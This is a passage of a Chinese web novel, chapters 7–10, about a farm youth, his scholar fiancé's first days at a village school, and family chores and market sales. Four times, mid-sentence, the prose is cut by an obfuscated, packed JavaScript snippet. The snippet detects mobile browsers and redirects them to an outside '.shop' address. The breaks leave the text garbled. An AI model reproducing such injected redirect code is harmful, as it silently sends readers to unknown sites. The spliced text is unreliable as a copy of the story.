《上门书生的骄横小夫郎》 7. 入学 大东村不算偏远,可离孙夫子的学堂也不算近,若是每日往返,路上就不知要花费多少时间。 住宿是很好的选择。 程立也是这般想的,点头道:“是准备住宿,不过休沐日我一定会回来,也会继续教你念书。” 裴乐学了大半个月,认识了许多简单基础的字,还学会了加减乘除,如今开始学《千字文》。 “我不是怕你不教我了……”裴乐蹙了蹙眉,心头漫过一种陌生情绪,却碍于言词匮乏,总结不出来。 程立看着身边的哥儿,忽然眼睛一亮:“你舍不得我?” “没有!”裴乐立即否认,陌生情绪退去,“我只是觉得不习惯。” 他站起来:“我要去捡鸡蛋了。” 走到鸡圈里,裴乐才拍了拍自己发热的脸颊。 都怪程立,说什么“舍不得”,好像两个人关系有多亲密似的。 虽然这段时间他跟着程立学知识,不再对读书人抱有偏见,但离“亲密”还远着呢,顶多算是朋友。 以后新朋友就没什么时间陪他玩了,他自然会有点难过。 想通道理,裴乐不再脸红,伸手从鸡窝里摸蛋。 如今天热,鸡肯下蛋,几乎天天都能捡够二十个。 这些蛋存放不长,自家又吃不完,隔几日便要去一趟镇上卖掉。 初三早上送程立去学堂,正好把家里的鸡蛋都拿上。 上次是裴向阳柳瑶夫妇去卖鸡蛋,今日周夫郎和裴乐一起。 周夫郎会赶车,他将牛车赶到学堂门口,见附近人多,怕鸡蛋被人偷,就说自己看着车,让两个小的进去。 程立的行李不算多,笔墨纸砚和衣裳被褥等分开装,装了两个包袱。 裴乐拿了重的那个——他本来想两个都拎着,程立许是怕在同窗面前丢脸,没有同意。 两人一道走进私塾的院门。院子里人更多,多是爹娘领着自己儿子在拜见先生,还有一些互相认识的聚在一起说话,声音纷杂。 裴乐未曾见过这般景象,一时不知道该往哪儿去。 程立倒是寻常,道:“先去见夫子交学费。” “好。”裴乐拔步往孙夫子处走。 一年的学费是五两银子,住宿费一个月一两,包一日三餐,月付。 交出六两银子,登记姓名住址,紧接着便可以去厢房放置行李。 学生都住在西厢房,小小一个屋子摆了四张三尺宽铺了草垫的床,以及四个桌柜,各配一把旧椅子。 程立被分配在三号厢房,他和裴乐进去时,里面正好没人,他便选了张看起来干净的床。 “东西先放在这里,我带你去课室看看。”外头有童子巡逻,程立不担心行李被偷。 裴乐掌心微潮,点头:“好。” 他早就想看看读书人的课室是什么样了。 课室在后院,距离厢房不远,穿过一条走廊,再拐个弯便到了。 已有不少学子抵达课室,基本都是十几岁的少年,他们或拿本书看,或互相嬉闹,场面十分和谐。 课室里摆满了桌椅,进门有一张大桌子应当是为先生准备的,上面放着戒尺。 除此之外,也就没什么了,没什么神秘的。 有以前在程秀才处读书,认识程立的,看见他们俩就跑过来跟程立打招呼:“你也来这里读书了,真好,又可以做同窗了。” 来人说着,目光落在裴乐身上:“这是你哥哥吗。” “对,我是他亲戚哥哥。”裴乐抢先回答。 以后要退亲的,越少人知道他们的婚约越好。 程立看了哥儿一眼,嘴唇绷直了些。 但还是介绍了周少勉的名字。 周少勉很自来熟:“哥哥好。” 裴乐做出个哥哥的样子来,稳重道:“程立,阿嫂还在外面等我,我就先走了,学堂的事你自己处理。” “哥哥慢走。”程立面无表情说。 裴乐顿了一瞬,随后稳重地往外走。 然而,他才走了没几步,还没有出后院,就冤家路窄,迎面进来了个马有庆。 马有庆看见他,也是一愣,然后大声说:“裴乐,你一个哥儿怎么在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445424|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里!” 裴乐的好心情顿时就被毁了。 孙夫子的私塾不招收女子哥儿,但今日是入学日,男女老少都能进来,哥儿出现在这里不算奇怪。 可马有庆不管这些,他自觉学堂是汉子的主场,裴乐一个哥儿掀不起风浪,心里登时鼓起自信,走到裴乐面前:“你知不知道哥儿不能上学,你跑到这里来,会给我们学堂带来晦气。” 他故意说的大声,叫课室里的人都听见。期待同窗来支援他。 然而课室里的学子出来是出来了,可都是来看热闹的,站得离他至少六尺。 程立走到裴乐身边:“马有庆,你胡诌什么呢,夫子从未说过哥儿晦气。” “哥儿不能上学,就是晦气。”马有庆抬着下巴,十分高高在上地嗤道,“对了,你也是个晦气东西,没本事的上门哥婿,比哥儿还不如。” 两句话挑明了裴乐和程立的关系,学子们落在程立身上的视线顿时微妙起来。 感受到他们不善的视线,裴乐心里窝火,攥紧拳头想揍人,又怕在学堂打架影响程立。 他忍着脾气道:“马有庆,你是哥儿生的,你敢当着你阿爹的面说哥儿晦气吗。” 马有庆道:“这有什么不敢,哥儿进学堂就是会带来晦气,我阿爹知道自己晦气,他就从来不进学堂,连我的书都不敢碰。” 裴乐:“……” 有种一记重拳打在棉花上的无力感,透出几分荒诞。 看热闹的学子中,有人忍不住笑出声,不知道在笑谁,还有人窃窃私语。 马有庆自觉吵赢了:“怎么样,你肯承认自己晦气了?” 裴乐冷道:“离你太近的确会沾染晦气,你最好离程立远点,若是被我知道你打扰他学习,我绝不饶你。” 这几句话他声音小,只有马有庆和程立能听见,说完他便离开了后院。 原本他想解释一下“上门哥婿”的事,但想不出来怎么解释,也没办法解释,毕竟程立的确和他有婚约,便只能略过了。 他走后,程立像是看不见马有庆一般,折身往厢房走。 8. 兔子 周少勉跟上去。 等走进厢房,见屋里没有其他人,程立神色寻常,周少勉才低声问道:“你真的去当上门哥婿了?” 程立点头:“是,我如今住在裴家。” 周少勉顿时感到唏嘘。 他不歧视赘婿,只是觉得若程夫子还活着,程立怎么着也不会沦落到如今寄人篱下的日子。 程立一看周少勉表情就知道对方在想什么。 “当赘婿没有你想象中那么可怕。”程立边铺床边道,“裴乐对我很好,裴家其他人也不错。” “可你的名声……” 程立:“我没偷没抢,只是与好人家定下婚约,若有人因此而轻看我,那是他人品有瑕,而非我德行有失。” 闻言,周少勉不由得自惭形秽:“程兄,你的境界太高了,我佩服。” 门外,王氏神色微顿,随后悄无声息地离开,将两人的对话以及后院发生的事告知丈夫孙广集。 她说明此事时已是半上午,私塾的院门紧闭,陪着学子报名的人均已离开。 孙广集沉默了一会儿,道:“这孩子倒是头脑清明。” “可不是呢。”王氏笑说,“早听说程秀才的儿子是个会读书的,但愿他以后真能出人头地,也给你脸色添光。” 孙广集看了妻子一眼:“别以为我不知道你打什么主意,你想让我护着他?” 王氏道:“什么叫护着,马有庆说的是人话吗,你作为夫子,理应主持公正。” 孙广集笑了一声,没说话。 巳时。 孙广集板着脸走进课室,闹哄哄的堂内瞬间变得静谧。 “单行,点名。” 一名穿着蓝袍的少年站起来,走到讲台上接过点名册,挨个念名字。 确定所有人都到了后,他才重新回到座位上。 孙广集扫了眼课室众人:“马有庆,站起来。” 马有庆站起来,一头雾水不知为何。 孙广集肃声道:“我听说你今日辱骂哥儿,不敬生父,可有此事?” 马有庆心中咯噔一声,立即否认:“我没有。” “当真没有?” “真的没有。” 孙广集:“不止辱骂哥儿,不敬生父,你还敢欺瞒师长,实属给我们私塾蒙羞。” 他语调重,马有庆当时便慌了,满脸慌乱隐藏不住:“夫子,我……知道错了。” “你过来。”孙广集拿起戒尺。 马有庆不情不愿地走过去,伸出左手。 孙广集重重打了十板子,打得马有庆掌心红肿,随后道:“今日你便站着听课,好好反思自己的过错,免得日后再出言不逊。” 马有庆表面应声,心里却不服。 学堂是汉子的天下,哥儿本就没资格进来,他只不过是把大家的心里话说出来而已。 * 另一厢,裴乐从学堂出来时,周夫郎已经将鸡蛋卖掉了一半。 能送孩子上私塾的大多家境好,如今鸡蛋三文一个也不算贵,他们都乐意买。 因此,二人就没有再换地方,就在门口将剩下的鸡蛋全卖掉了。 “早知道在私塾门口能卖这么快,咱们就早往这边摆摊了。”周夫郎数着钱,感慨说。 裴乐也挺高兴:“今儿开学才能卖这么好,平常这里都没什么人,不过等到休沐日我们还可以在这里摆摊试试。” 周夫郎点头:“说的是,卖不出去再换地方也来得及。” 钱袋交给裴乐拿着,周夫郎牵着驴,边走边问裴乐学堂内的景象。 “挺热闹的,不过没什么稀奇的。”裴乐说,“阿嫂,你下回进去看看就知道了。” 周夫郎隔着院墙往里看了看,道:“好,我下回进去看看。” 夏季卖鸡蛋卖得勤,添置东西也勤,如今家里什么都不缺,二人在街上逛了一会儿,只买了个便宜陶罐便回村了。 买陶罐是因为朱红英想做腌菜,既然做了就多腌一些,若吃不完还可以拿出去卖,不论多少,都是一笔收入。 次日下了场大雨,雨后容易长菌子,周夫郎便带着柳瑶和裴乐上山。 三人一人一个篮子,分散开找菌子和野菜。 裴乐钻进林子里,他运气不错,没多久就挖了小半篮鸡枞菌。 随后他打开水囊,喝了几口水,正打算继续找菌子时,余光忽然瞥见一双红眼睛。 半抱粗的树下,有一只灰兔子趴着。 它周围有许多草,自个缩在草里,若非裴乐眼尖还真看不见。 想起兔肉的滋味,裴乐悄悄伸手从地上摸了块石头。 然而兔子还是敏锐察觉到危险,拔腿就跑。 兔子以迅捷著称,几乎眨眼就能消失在人的面前,但裴乐投掷得更快。 灰兔才跑出去一步,就被砸中了后腿。 随后,裴乐没费多少力气就活捉了瘸腿兔。 他拿着兔子去找另外两人,三人都没带绳子,就让裴乐先回家。 把三人采集到的蘑菇都放进同一个篮子里,几乎把篮子装满。 柳瑶捡了些干柴铺在最上面。 裴乐一手提篮子,另一只手禁锢着兔子:“那我就走了,你们俩也早点回家吃兔肉。” “行。”周夫郎笑说,“让你娘别做完了,留一半明儿吃。” 兔子肉不少,再者如今不是农忙时节,一顿就把一整只兔子吃了太奢侈。 裴乐明白意思,点头应下,而后就往山下走。 大东村的山不高,下山也快,没多久他就踏上了平地。 一路上不少人跟裴乐打招呼,见他打到了兔子,都露出或羡慕或嫉妒的神情。 裴乐对此很受用,因为这些眼光证明了他厉害,不枉他曾经苦练几个月的扔石头。 到了家,正好家里人都在,裴伯远和裴向阳挖完菜地回来,其他人则原本就在家。 看见他手里的兔子,裴厚最先出声:“老幺打了只兔子?” “小阿爷好厉害!”石头飞跑过来,大眼睛闪着兴奋的光,伸手就去摸兔子。 兔子突然蹬腿,吓得他又把手收回去。 裴乐觉得好玩:“你怕什么,我拿着呢,它又跑不了。” 石头于是又伸手—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445425|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔子再度蹬腿,就差一点踹到他胳膊。 石头不敢靠近了。 裴向阳走过来,接手装蘑菇的篮子,又握住兔子的两条后腿,对儿子道:“重新摸,这回它动不了了。” 这回兔子动了前腿。 不知道为什么,这兔子在裴乐手里一动不动,裴向阳去握后腿时,它也不动,可只要自己伸手去摸,它就“活了”。 石头觉得兔子欺负自己,气得撇嘴,眼泪都快要落下来了。 身为农家人,天天在太阳下疯跑,石头长的并不白,但小孩显眼大,脸蛋两团软肉,嘴巴鼻子都小小的,委屈起来还挺可爱。 裴乐禁不住笑出声:“这是只欺软怕硬的兔子。” 石头不知道欺软怕硬什么意思,他只觉得小阿爷在嘲笑他。 眼见着石头真要哭了,裴乐才按住兔子的四条腿,让侄孙摸了摸耳朵。 晚上,朱红英将半只兔子红烧,一只兔腿给了裴乐这个大功臣,另一只则给了石头,安慰他受伤的心灵。 — 烈日炎炎,蜻蜓趴在叶下躲清凉,蝴蝶却飞得欢快,仿佛感觉不到热气一般。 裴乐穿着草鞋,无视到处飞的蝴蝶,双手合抱住池塘旁的杨树,脚踩住树干,几下便攀高数尺,找了粗壮的分枝坐下。 池塘里满是荷叶莲花,密密麻麻,从高处看下去,十分漂亮,几乎看不见水。 不过裴乐的目的本就不是看水,而是给池塘里的裴向阳指莲蓬的位置。 “右边,你右边五寸处有一个大的,看见了吗……” 这是他们自家的小池塘,莲蓬必须尽快摘下,否则被旁人偷了不说,还会因为荷叶根.茎被折断而影响底下莲藕的长势。 将池塘里成熟的莲蓬都摘下来后,裴向阳从水里出来,裴乐也从树上跳下去,拎起篮子,两人一道回家。 莲蓬可以拿到镇上卖,但不好卖价格也不高,而且他们是小池塘收获本就不多,裴家就懒得折腾,都留着自家吃了。 “我采莲蓬的时候发现只倒了几个杆子,应该是自然倒的。”裴向阳道,“咱家今年莲藕的收成肯定很好。” 裴乐也这么觉得:“到时候肯定能卖一大笔钱。” 程立念书费钱得很,一个月一两住宿费,笔墨书本还得另买,每年还要交学费,简直不敢算。 想到这里,裴乐心里轻轻叹了口气。 程立名义上还是他的未婚夫,花家里这么多钱,无形中也增加了他的压力。 “明日十一,学堂逢一休沐,晚上该去接程立了。”裴向阳正好也想起读书郎。 裴乐道:“我和阿嫂去接吧。” 阿嫂说想看看私塾里头,他跟着一起去,可以看着牛车。 裴向阳并不知道这一茬,忽然转头看向他:“我记得程立刚来的时候,你特别看不惯人家,怎么现在又是主动送人去上学,又是要主动接?” “因为我想去镇上呗。”裴乐似没有听出调侃之意,“你要是也想去,那你去,我就不去了。” 裴向阳说:“我才不去,热的要死,我在家歇凉多好。” 9. 愁绪 因为要卖鸡蛋,周夫郎和裴乐决定提前半个时辰出发。 打算先在老地方卖,等私塾门口人多了,再去私塾卖。 两人套好牛车刚要出门,就听见了一阵爽利笑声,紧接着是女人的声音,“看来我来得正好,赶上了。” “三嫂。”裴乐唤来人。 魏芝个子不高,为人却利落,脚步也快。她擓着个篮子,几步就走到了牛车旁,“家里缺针线了,我想着你们今儿肯定要去镇上,就来蹭个车。” 裴家三房也住在大东村,两家经常串门,彼此间说话就没那么客套。 “行啊。”周夫郎笑说,“你坐上就是。” 魏芝却并没有立即上车,她把篮子面上的麻布掀开,给两人看里面的东西。 是一个细瓷碗,碗里装着半碗蜂蜜。 “叔良和浩浩上山砍木头的时候碰巧看见个蜂窝,浩浩年轻胆子大,也不怕蜇,硬是把蜂窝弄下来了。” “自家留了半碗,这半碗拿来孝敬爹娘,你们也跟着尝尝。” 叔良是裴家老三的名字,浩浩是裴叔良的儿子,大名裴向浩,今年十四岁。 蜂蜜对于农家而言是不可多得的珍贵之物,周夫郎双手在衣裳上蹭干净了,这才去接碗,然后端给裴厚和朱红英看了一遍,两人都很稀罕,连夸老三家的孝顺。 周夫郎进屋将蜂蜜放好,随后拿了两个青黄橘子和一把莲子出来递给魏芝:“自家的橘子,有点酸,将就着吃。” ——莲蓬下午摘完就给老三家送了些去。 魏芝递给裴乐一个橘子,自己剥开一个,尝了一瓣:“还行,酸得正好。” 因着要卖鸡蛋还要接人,三人就没再耽误时间,上车出门。 到镇上后,裴乐二人卖鸡蛋,魏芝去逛街买东西,约定在私塾门口会和。 他们经常来镇上卖蛋,鸡蛋篮子掀开没多久就有人来问。 一个两个、三个四个,每个人买的都不多,但加起来就多了。 最后拿到私塾门口卖的只有二十个,在私塾下课前就卖光了。 魏芝也买完东西过来了。 她不止买了针线,还买了一堆碎布和半斤棉花准备拿回家做鞋。 “家里两个孩子都长得快,前年做的鞋眼看就穿不上了,趁着闲的时候先把棉鞋做了。”魏芝说,“如今棉花便宜,阿嫂你也可以去买一些。” 周夫郎觉得她说的有道理:“那我就去买一些,你们看着车。” 周夫郎走远后,魏芝边吃橘子,边用手肘碰了一下裴乐:“乐哥儿,跟三嫂说句实话,你跟那小书生到底处不处得来?” 起初裴乐一直闹,后来突然就消停了。 魏芝想知道裴乐是想通了,还是认命了。 “处得来。”裴乐知道契约一事绝不能告诉其他人,“程立挺好相处的。” 这也不算扯谎,的确处得来,的确挺好相处,只不过未来不一定是夫夫。 没过多久,私塾内钟声响起,学子们鱼贯而出。 周夫郎也买完棉花回来了,不仅有棉花,还有几尺布。 裴乐道:“阿嫂,你不是想进去看看吗,不若现在就进去,我看着车。” 魏芝道:“我也想进去看看。” 两人便结伴走进私塾,裴乐站在牛车旁边,视线略过出来的每一个人。 很快他就看见了程立。 “程立!” 程立背着个小包袱,穿的还是去时的那套衣裳,额头微汗,快步朝他走来。 裴乐看了看程立,又看了看其他学子,最后视线落在小包袱上。 他伸手接过,将包袱放进篮子里:“阿嫂和三嫂进去了,我们等会儿他们。” 程立道:“我知道,看见他们了。” 两人都站在牛车旁,不说话有点尴尬,裴乐便问:“你这几天在学堂怎么样,还适应吗。” 程立点头:“挺适应的,孙夫子很会教学,同窗也都好相处。” 话音刚落,马家的牛车就从他们旁边驶过,马有庆瞪着他们,重重哼了一声。 裴乐看向程立:“马有庆没有欺负你吧。” “他不敢欺负我。”程立说,“你上次把他打怕了。” 裴乐可不觉得马有庆被打怕了,他揍马有庆不止一次,这人又蠢又恶,且不长记性,打多少次都没用。 但程立看起来的确不像受了欺负。 裴乐心想,可能是马有庆在学堂要维护形象,因此才克制着没有找茬,这样也挺好。 * 太阳快要下山时,几人才回到家。 蜂蜜倒不净,周夫郎舍不得损耗,便给魏芝重新拿了只细瓷碗算是还了。 正好两家的细瓷碗是一块儿买的,长的都一样。 吃完饭天就黑了,众人便各自洗漱休息。 次日,程立检查了自己留下的功课,确定裴乐都学会了,然后才又教给裴乐新的知识。 这些做完,一上午时间也就过去了。 程立说下午让大哥和他一起,去镇上找抄书的活儿。 “这样你会不会太累了。”裴乐意识到自己占了程立许多时间。 程立要教他就要提前备课,他教石头一点内容都要备课很久,程立肯定需要更长的时间。 “抄书不累。”得到关心,程立嘴角弯了弯,“乐哥儿,我心里有数,不会把自己累病的。” 他算术比裴乐好多了,自己念书要花费多少钱,裴家又能赚多少钱,这些钱对裴家而言意味着什么,他心中清清楚楚。 裴家能供得起,但会很艰难,他不能心安理得让裴家艰难度日,所以能挣一点是一点。 没有累病倒,不代表不累。 看着对方瘦巴巴的样子,裴乐想劝程立别抄书了,可话到嘴边却说不出口。 若是只专心学业,程立是可以轻松些,可自己家人就要更加劳累。 他没办法开口让自己家人吃苦。 “所以你想找个挣钱的营生?”顾水水熟练地用针打结,然后收起针线。 这会儿裴乐在顾家,程立和裴伯远已经去镇上了,他提着针线篮子来找顾水水说话。 顾水水道:“我也想挣钱,早就想挣钱了,但是找不到活儿啊。” 村里的活儿除了农忙就是砌墙,农忙时节要忙自家,砌墙不要哥儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445426|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >若是往镇上去,镇上倒是有一些哥儿能做的营生,但大都是招已经嫁人的哥儿,不要他们这种年纪小的。 “你们家有那么大的院子,不如就多养些鸡,多养头猪。”顾水水出主意。 裴乐却摇头:“养不起,家里没有那么多粮食。” “所以说得买地多种地,可是种地太累了,而且税收又……”顾水水叹气。 叹完气,又看向裴乐手里:“你在缝什么,给石头做衣裳吗?” 他看着布裁剪的不大。 裴乐神色不自然地顿了一下,而后默认。 从顾家回来后,裴乐坐在自己的屋子里继续缝制。 傍晚裴伯远和程立才回来,有人高马大的兄长跟着,程立顺利接到了抄书的活儿,没有被压价。 在自己屋,他跟裴乐说了经过,而后递给裴乐一叠纸和两支笔:“送给你。” “我用不到。”裴乐推拒。 他知道纸笔不便宜。 程立道:“这是便宜的纸和笔,给你练字用的。” 裴乐还是说:“我用不到。” 他就算写字,只要会写就行了,不需要写的很好看。 “能用到的,字写好看一些又没有坏处。”程立说,“你放心,这些纸笔是用我自己的钱买的。” 他爹当年开学堂挣了不少钱,虽然花费也高——因为父子二人逃难路上落下不少病,尤其程秀才,常常得吃药。 后来他爹临终前,又治病花去很多,最终只给了他留下了一间茅草屋和一箱子书。 村里的茅草屋不值钱,但书很值钱。 里面有一些他暂时看不懂的,他便用纸抄录下来,今日拿出去卖了两本,得了二十两。 所以他现在还算有钱。 裴乐听见“二十两”,才接了纸笔。 又忍不住说:“你还是别卖书了,你爹既然不卖那一箱子书,想必它们都很珍贵。” “我就卖这一次。”程立浅笑着说罢,又往裴乐手中塞了样东西。 裴乐低头一看,是花生酥糖。 “最后一块。”程立道。 裴乐将糖放在桌上:“那你自己吃吧。” “我不爱吃糖。”程立谎道。 裴乐想了想,还是把糖收了:“你送我这么多东西,我也要送你一样。” 程立眼睛亮了亮:“要送我什么?” “你等一下。”裴乐转身出去。 很快,裴乐抱着个东西进来了,将门关上。 他看了看程立,有些别扭地将东西递出:“我下午缝的,手艺不太好,你将就着用。” 程立将东西展开,发现是一个缝了长带子的四方布包。 布包的长宽都比常见的书籍要大一寸。 “书包。”程立认出来了。 裴乐低咳一声:“带子是腰带改的,来不及做新的,你若是介意就算了。” 是一条黑腰带,搭配着倒也合适,并不会显得突兀。 裴乐自己对自己的手艺其实是满意的。 “很好看。”小书生将包挎上,眼眸在夕阳的映照下十分明亮漂亮。 “谢谢哥哥。” 10. 野菜 黑沉沉的云几乎是瞬间移动到头顶,紧接着一声惊雷,豆大的雨点就砸了下来。 “下大雨啦!” “打雷啦!” 大人们立即收拾东西往家里跑,小孩跟着跑,边跑边笑。 裴乐抱着篮子,和顾水水飞快地往家奔。 篮子里是槐花,柳瑶最近一直没什么精神,今天突然说想吃槐花包子,裴乐就出来摘了。 刚好他也喜欢吃槐花。 跑到家将篮子放在檐下,裴乐脱掉草鞋,喊了声柳瑶。 “她才吐了一次,向阳带她看郎中去了。”周夫郎递给他一块干布巾。 裴乐跑得快,身上没怎么淋湿,擦了擦头发就把布巾重新搭回去:“怎么这么严重,她是不是吃坏肚子了。” “谁知道呢,也可能是怀了。”周夫郎希望是怀了。 他出身贫弱,又是个哥儿,打小不受喜爱,连个名字都没有,亏空了一身病。 后来嫁给裴伯远,公婆都好相处,身体渐渐调养好了,但也只得了裴向阳一个孩子。 幸而是个汉子,没被村里人嚼太多舌根。 后来柳瑶嫁进来,看着健健康康的一个姑娘,生下石头后肚子却再没有动静了。 他自己也就生了一个,自然不会说柳瑶,只是偶尔夜深人静时,会想是不是自个太晦气了,影响了裴伯远的子孙命。 这些也就是他自个在心里想想,从没有说出来过。 周夫郎看着外头的雷雨,忍不住又担忧:“他们俩带了把伞,但看雨这么大,路肯定难走。” 裴乐也看着雨幕,笑道:“阿嫂,他们又不是傻子,肯定会等到雷雨停了再回来,这雨又下不了多久。” 说罢,他见石头跑到檐下仰着脸伸手接雨,雨都淋到脸上了。 他把小孩扯回来:“下雨天没事,正好教你识字。” 石头年龄太小,丝毫不知道识字的重要性,他如今只觉得学习枯燥,嘴巴立即就扁了。 “撒娇也没用,学会了才能放你走。”裴乐把桌子搬到窗边,想起纸都在自己房间,“好好在这儿坐着,等雨停了教你。” 大雨倾盆,冒雨跑过去拿,全身都会淋湿,不值当。 石头委屈巴巴地坐在高椅子上,朝太爷爷太奶奶投去求救的目光。 但裴厚和朱红英都视而不见。 裴乐从朱红英手里接了半个橘子,坐到门口,细致地将白络一点点扯干净,然后才塞进嘴里。 这倒不是因为他讲究,而是无聊,没什么事可做。 他看了看槐花,又看看远处的闪电,不知怎的想起了程立。 想起对方拿到书包后,眉眼灿烂地说“谢谢哥哥”。 惯会跟人示好,不仅谄媚他,在其他人面前表现得也十分乖巧,生怕被赶出去似的。 明明他都已经跟对方签了契约,同意对方先在裴家留三年了。 半个橘子慢悠悠地吃完,雨正好停了,天空重新亮堂起来,气温下降了许多。 忽略路面泥泞不好走这一点,这是夏季最令人舒爽的时刻。 裴乐先打水洗手,然后去拿了纸和沙盘,照常教石头识几个大字。 周夫郎也在一旁听着。 他不认字,每回裴乐教学时,他有空就会来旁听,想学一点是一点。 但当裴乐说干脆一起教时,他又说不需要。 裴向阳和柳瑶在两刻钟后回来了。 他们俩果然是等雨停了才折返,身上没淋湿,但裤脚带了不少泥,草鞋自然也穿不了了。 不过俩人心情挺好的,尤其裴向阳,他最是高兴。 一问,果然是柳瑶怀上了,算起来有一两个月了。 近来不舒服一方面是怀孕,另一方面主要是热的。 “明儿杀只鸡给你补补。”周夫郎难掩喜悦,“既然是怕热,以后你就别出门干活了,就在家歇着。” 左右不是农忙时节,缺一个人干活也没什么。 柳瑶也不客气:“阿爹,这可是你说的,以后我就在家做饭扫地。” 周夫郎笑道:“是我说的,你什么都不做也行。” 裴乐也为他们感到高兴,想挣钱的念头暂时搁置了。 如今说是农闲,可农人哪有真正清闲的时候,只不过是没有农忙时那么急促罢了。 柳瑶有孕不能出去干活,那么落在他身上的活儿自然就多起来,想挣钱只能多和朱红英做些腌菜,和鸡蛋一起拿出去卖。 这样也行,反正他暂时也找不着挣钱的门路。 晚上周夫郎做了槐花包子。 槐花焯水,和猪肉拌在一起做馅,蒸出来的包子十分馋人。 裴乐吃了三个,心里十分满足。 — 次日裴乐和顾水水相约着一块儿去挖野菜,他们俩出发得早,没想到正好遇见马家的牛车出村。 马有庆穿着一身细棉的书生袍坐在车上,怀里抱着棉布书包,梗着脖子一副神气得不行的模样。 其他大大小小的孩子见了,确有很大一部分会露出艳羡的目光,另一部分则是已经习惯。 顾水水作为裴乐的好友,自然对马有庆嗤之以鼻:“真装,不知道的还以为他已经考上秀才了呢。” 对于他们这些识字都艰难的农人来讲,秀才已经是读书顶点了,举人大官什么的,他们想都不敢想。 裴乐又想到了程立,程立一点都不装。 但程立也可能一直在装,毕竟马有庆是马家的宝,有任性的资本,程立却只是裴家的赘婿。 想到这里,裴乐心里闪过一抹不适,眸色微沉:“别管他了,我们快点去找野菜吧,否则好吃的都被别人挖光了。” 家家都穷,雨后的野菜是必争的。 果然,两人一路走过去,遇见了不少老妇人和老夫郎。 他们只好走得更远,才挖到了不少野菜。 转眼间又是休沐日,裴乐和裴向阳一起去了镇上。 这回不仅有鸡蛋,还有几坛朱红英腌的酸菜。 “酸菜五文一斤,都是自家用好菜腌的,可要来一点?”裴乐推销道。 买鸡蛋的妇人看了看坛子的菜,似是心动了,但最终还是摇头:“算了,我自己也会腌。” 确实,几乎家家都会腌菜,但各家腌制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445427|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的味道不一样。 下一个顾客再来时,裴乐便主要推销了味道:“我娘腌的酸菜在村里很有名气,家家办席都用她的。” 裴向阳配合道:“五文钱一斤,买一文两文的都行,先拿回去尝尝,若是好吃再来。” “一文两文确实不多,可我没带碗。” “我们准备了叶子。”裴乐拿出洗过的树叶。 但夫郎还是嫌弃:“算了,叶子会漏汤,到时候再把我篮子染脏了,不值当。” 后来买蛋的人也都是差不多的说词,等到鸡蛋全部卖完了,酸菜才卖出去一斤,买的那人自己带了个坛子。 “卖菜可真不容易,幸好没做多,否则就砸在手里了。”裴向阳把坛子重新搬到牛车上,叹气道。 裴乐也有些挫败:“咱们只是头一次没经验,下次肯定能卖出去。” 说是这般说,其实他心里也没底。 他觉得朱红英做的酸菜是好吃的,他吃过所有亲戚家的酸菜,还有席上的,没有一样比自家的好吃。 虽然没器具装,可人家卖酸菜的铺子里也没有器具,所以器具不是问题。 只要让人知道他们家的酸菜好吃又便宜,打出名气,一定会有人愿意买。 一边思索着,一边走到了私塾门口。 裴向阳把牛拴在路边的树上:“我去买点东西,你在这儿守着。” 裴乐点了点头。 赶在私塾开门前,裴向阳就回来了。 他上回在首饰铺定了个银簪子,刚才取了,又买了包点心,买了两根糖葫芦。 “你吃一个,另一个给程立。”裴向阳说着,两根都递给裴乐。 裴乐道:“另一根你自己给他,若是我给,他还以为是我买的。” “那就当成是你买的呗。”裴向阳笑说,“怎么,你不好意思对人家好?” 裴乐心想,他不是不好意思,他是不想占大侄子的功劳。 裴向阳还是听了裴乐的,等程立出来后,自己把另一个递给对方。 “谢谢向阳哥。”程立礼貌道。 裴乐看向程立:“你管他叫哥?” 裴向阳伸手,轻松揽住程立的肩膀:“我们各论各的,他管我爹叫哥,私下也管我叫哥。” 裴乐没话说。 算了,反正三年后,程立认大哥当义父,正好管裴向阳喊哥。 话说程立莫非正是打着这个主意,所以管裴向阳喊哥,好让对方提前适应? 裴乐嘴唇抿了一下,不再往下想。 管他呢,爱喊什么就喊什么,喜欢认哥认一百个也碍不着他。 